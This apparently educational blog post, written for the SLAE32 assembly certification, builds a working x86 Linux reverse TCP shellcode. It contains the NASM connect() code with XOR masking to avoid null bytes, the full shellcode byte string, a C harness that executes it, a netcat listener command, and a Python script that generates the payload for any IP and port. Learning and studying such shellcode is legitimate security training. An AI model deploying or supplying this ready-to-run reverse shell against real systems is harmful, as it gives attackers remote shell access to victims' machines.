SLAE32 – Assignment #2 – Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
http://securitytube-training.com/onlinecourses/securitytube-linux-assembly-expert/
Student ID: PA-27669

The code and scripts for this assignment can be found on github

The goal of this assignment is to create a reverse TCP shellcode.

The shellcode will connect to a specific IP address on a given port and will spawn a shell on successful connection. The ip address and the port number should be easily configured.

A Reverse Shell is when the attacker’s machine, which has a public IP and is reachable over the internet, acts as a server. It opens a communication channel on a port and waits for incoming connections. Target’s machine acts as a client and initiates a connection to the attacker’s listening server.

ShellCode is machine code with a specific purpose. It can be executed by the CPU directly, no further assembling/linking required. Shellcode can do anything we like, for example spawn a local shell, bind to a port and spawn a shell, create a new account etc..

The following system was used for development

Linux ubuntu 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

For this assignment basic network concepts of how to implement a client in a client/server model was used. In order to create our shellcode we need to implement the below flow in our assembly code

  • socket()
  • connect()
  • dup2()
  • execve()

Also we can see this flow if we use libemu to graph the execution of an existing reverse tcp shell from metasploit as shown below

The diagram is from the linux/x86/shell_reverse_tcp module of metasploit framework. We will slightly change the order of the system calls since there is no point to call the dup2() in case of a failed connection. So dup2() will be called after the connect. In case the connect() fails we immediately exit gracefully.

For this assignment only the connect() system call will be discussed as all the other system calls are already analyzed in the first assignment, make sure to check this post for further info.

connect()

From the Linux manual we read

The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd; see socket(2) for further details.

The function declaration is the following

       int connect(int sockfd, const struct sockaddr *addr,                 socklen_t addrlen);

We will not break down the arguments to examine them further since they are the same as the bind() sys call that we saw in the first post. Instead we will examine how we will make our shellcode to accept various ip address without breaking the shellcode with null bytes and how error handling on connect() is done.

On the first assignment we had to implement the server side where the ip was always the same and we had to configure only the port number. For this assignment we need to implement the client side where the ip and port number may vary.

In cases where we use “null free” ip addresses and ports (eg. 192.168.1.12: 1337) the shellcode will work just fine, but what happens if we have ips like 127.0.0.1? So, in order to avoid any failure in our shellcode we will use the XOR and the mask technique that we used previously in the first assignment with the ports.

Since the address 255.255.255.255 is a reserved address for the networks we can use it as a mask (0xffffffff) for our XOR. A reminder of the xor property is shown below

If A is our port and B our mask, A xor B = C and if we xor B with C we get back A which is our address. Inside our assembly code where we load the ip in the stack and is read from the registers we need to use little endian order. First we will make our program work for an ip and then we will extract the shellcode and make the proper changes to work for all ips. Actually a script that we will write will do our job and our lives easier.

For our first step, we have to make our program work so we will use the ip 192.168.1.12 which is 0x0c01a8c0 in little endian format and if we xor’ed with our mask 0xffffffff we get the value of 0xf3fe573f. So let’s say that our code received this value for the ip.

(little endian)0x0c01a8c0 XOR 0xffffffff = 0xf3fe573f

In order to retrieve and write the correct value onto the stack we have to XOR this value (0xf3fe573f) with our mask (0xffffffff) and we get back again our correct little endian value 0x0c01a8c0.

Now we have our ip address in correct format and we have to follow a similar technique for the port. For the port we will use this mask 0xffff as it has the length of a word. For more information about the port check the first assignment (as always 😛 )

Last inside the /usr/include/x86_64-linux-gnu/asm/unistd_32.h we see the value for our system call which is 0x016a

#define __NR_connect 362

The code for connect() is shown below

; connect section
	
    ; construct the struct sockaddr_in

	; prepare eax for ip addr XOR, set a mask
	mov eax, 0xffffffff
	push edx	; padding 4 bytes
	push edx	; padding 4 bytes

	; address 192.168.1.12 is in little endian 0xc01a8c0
	; we XOR the address using a mask of 0xffffffff and we get 0xf3fe573f
	; in order to restore the initial value we need to XOR again with the mask
	; this is done to avoid null characters in case our ip addr contain 0
	xor eax, 0xf3fe573f 
	push eax	; address field, set to 192.168.1.12, in little endian format 


	; same convertion for the port number
	
	mov eax, 0xffffffff
	xor ax, 0xc6fa	; port number 1337 after mask applied in little endian
	push ax
	push word 0x02	; address family

	mov ecx, esp	; save the struct address in stack

	mov dl, 0x10	; size of struct, 16 bytes (padding + address + port + family)

	mov ebx, esi	; set fd

	xor eax, eax
	mov ax, 0x016a	; set num for bind interrupt

	int 0x80

	; check if connect succeed

	test eax, eax	; if not zero then an error occured
	jnz exit

Note the test instruction at the end. In case we do not have any errors the connect() system call will return 0 and will put it in eax. So in case it is not zero we jump to the exit section and we close the program gracefully.

exit:

	xor eax, eax
	xor ebx, ebx
	mov al, 0x01
	mov bl, 0x07	; just a random number as an exit code 🙂
	
	int 0x80

Build, Execute & Tools

We will use the compile_for32.sh script in order to assemble and link our code. The full code and the hepler scripts can be found here.

./compile_for32 shell_reverse_tcp.nasm

Now we need to extract the bytes (shellcode) from the elf file and do a quick check on it for any null bytes. We use the objdump tool for this job like this

objdump -d -M intel ./shell_reverse_tcp

We will see something like this

In order to get the bytes in a better format we will use the bash expression from commandlinefu.

objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

The output of this execution will be this

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc6\xb8\xff\xff\xff\xff\x52\x52\x35\x3f\x57\xfe\xf3\x50\xb8\xff\xff\xff\xff\x66\x35\xfa\xc6\x66\x50\x66\x6a\x02\x89\xe1\xb2\x10\x89\xf3\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x27\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf8\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x55\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xb3\x07\xcd\x80"

We will put this payload in a c file in order to check that everything is working as expected

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc6\xb8\xff\xff\xff\xff\x52\x52\x35\x3f\x57\xfe\xf3\x50\xb8\xff\xff\xff\xff\x66\x35\xdd\x47\x66\x50\x66\x6a\x02\x89\xe1\xb2\x10\x89\xf3\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x27\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf8\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x55\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xb3\x07\xcd\x80";
main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

We compile the above code

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32

Before we execute it we need to set a listener to the machine (in our case 192.168.1.12) that we have configured in our payload during the connect() system call. We use the netcat utility for this

nc -vnlp 1337

and confirm that it is running

Then on the target machine we execute the compiled c program and we get the shell we wanted 🙂

If we stop now the listener and we re-execute the ./shellcode we should see the exit code we set during the exit system call in case we have errors in the connect(). In our case we set our lucky number 7.

Now we need a easy way to be able to configure any ip and port we like into this payload. A script (config.py) was written for this job. We should put the ip address and the port that we want and it will produce the shellcode. It will auto-magically convert and XOR our bytes. The code is the following

#!/usr/bin/python

from operator import xor


# set ip and port
#ip = "192.168.1.12"
#port = "31337"
ip = '127.0.0.1'
port = '200'


ip_in_xored_bytes = ''
port_in_xored_bytes = ''


shell_code_1 = "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc6\\xb8\\xff\\xff\\xff\\xff\\x52\\x52\\x35"

#ip

shell_code_2 = "\\x50\\xb8\\xff\\xff\\xff\\xff\\x66\\x35"

#port

shell_code_3 = "\\x66\\x50\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\x89\\xf3\\x31\\xc0\\x66\\xb8\\x6a\\x01\\xcd\\x80\\x85\\xc0\\x75\\x27\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\xfe\\xc9\\xcd\\x80\\x75\\xf8\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x55\\x89\\xe1\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb0\\x01\\xb3\\x07\\xcd\\x80"

for byte in ip.split("."):
        ip_in_xored_bytes += "\\x" + "{:x}".format(xor(int(byte),0xff))


port_in_xored_bytes += "{:04x}".format(xor(int(port),0xffff))
port_xored_formated = "\\x" + port_in_xored_bytes[:2] + "\\x" + port_in_xored_bytes[2:]

print "ip:", ip
print "xored ip: ", ip_in_xored_bytes
print "port:", port
print "xored port: ", port_xored_formated
print ""
shell_code = shell_code_1 + ip_in_xored_bytes + shell_code_2 + port_xored_formated + shell_code_3
print "ShellCode:"
print shell_code

We execute it with ip 127.0.0.1 and port 200 and it will produce the shellcode along with some more info.

We see that there is no null bytes in our shell code despite the fact that the hex representation for both ip and port numbers has. Again we will test it with our shellcode.c program…

… and it works!

Hope you liked it!

Leave a Comment